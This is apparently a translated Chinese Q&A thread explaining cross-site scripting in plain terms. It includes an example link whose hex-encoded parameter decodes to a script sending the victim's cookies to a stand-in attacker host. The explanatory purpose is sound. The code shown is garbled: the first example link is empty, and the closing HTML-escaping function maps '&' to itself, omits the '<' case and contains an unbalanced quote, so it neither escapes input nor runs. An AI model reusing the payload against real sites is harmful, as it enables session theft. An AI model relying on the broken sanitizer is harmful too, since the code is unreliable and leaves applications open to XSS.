有人可以解释XSS如何用简单的英语工作吗?也许举个例子.谷歌搜索没有多大帮助.
跨站点脚本基本上是动态网页的安全漏洞,攻击者可以创建恶意链接以将不需要的可执行JavaScript注入网站.在没有过滤或检查其内容的情况下打印或回显GET变量时,会出现此漏洞的最常见情况.
当受害者点击链接时,恶意代码可以将受害者的cookie发送到另一台服务器,或者它可以修改受影响的站点,注入表单,窃取用户名和密码以及其他网络钓鱼技术.
恶意链接示例:
http://VulnerableHost/a.php?variable=
编码恶意代码也很常见,例如以十六进制编码:
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
只要应用程序外部的字符串可以解释为代码,就会存在XSS漏洞.
例如,如果您通过执行以下操作生成HTML:
= $myQueryParameter ?>
然后,如果$myQueryParameter
变量包含标记,那么它将最终执行代码.
要防止输入作为代码执行,您需要正确地转义内容.
上述问题可以通过实现$myQueryParameter
变量包含纯文本来解决,但是你不能只是将纯文本放到HTML中并期望它能够工作.
因此,您需要将纯文本转换为HTML,以便将其放入HTML页面.将一种语言的字符串转换为另一种语言以便可以嵌入的过程正在逃避.
您可以使用以下函数将纯文本转义为HTML:
function escapePlainTextToHTML(plainText) {
return plainText.replace(/\0/g, '')
.replace(/&/g, '&')
.replace(//g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}